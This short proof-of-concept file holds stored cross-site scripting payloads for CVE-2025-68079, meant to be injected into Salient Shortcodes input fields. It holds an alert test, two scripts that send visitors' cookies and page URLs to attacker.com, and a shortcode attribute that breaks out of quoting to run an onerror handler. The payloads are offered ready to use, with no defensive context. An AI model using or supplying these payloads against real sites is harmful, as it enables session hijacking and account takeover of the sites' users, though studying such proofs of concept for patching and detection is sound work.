CVE-2025-68079

<!-- Stored XSS PoC for CVE-2025-68079 --> <!-- Inject this payload into any Salient Shortcodes input field --> <!-- Basic script injection --> <img src=x onerror="alert(document.cookie)"> <!-- Cookie stealing payload --> <script> fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie)); </script> <!-- Session hijacking payload --> <script> var img = new Image(); img.src = 'https://attacker.com/log?cookie=' + document.cookie + '&url=' + location.href; </script> <!-- Example: Using shortcode with malicious attributes --> [some_shortcode attr1='" onerror="alert(String.fromCharCode(88,83,83))" x="']

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